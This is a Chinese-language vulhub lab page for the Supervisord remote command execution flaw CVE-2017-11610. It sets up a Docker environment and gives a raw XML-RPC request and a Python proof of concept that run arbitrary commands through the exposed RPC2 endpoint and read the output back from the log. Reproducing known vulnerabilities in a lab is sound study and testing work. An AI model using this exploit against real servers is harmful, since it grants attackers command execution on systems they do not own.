Supervisord 远程命令执行漏洞(CVE-2017-11610)

参考链接(可以详细看一下第一篇文章):

运行环境

docker-compose build
docker-compose up -d

环境启动后,访问http://your-ip:9001即可查看Supervisord的页面。

漏洞测试

直接执行任意命令:

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 213

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

关于直接回显的POC

@Ricter 在微博上提出的一个思路,甚是有效,就是将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。

写了个简单的POC: poc.py,直接贴出来吧:

#!/usr/bin/env python3
import xmlrpc.client
import sys

target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用Python3执行并获取结果:./poc.py "http://your-ip:9001/RPC2" "command"

Copied From: vulhub/supervisor/CVE-2017-11610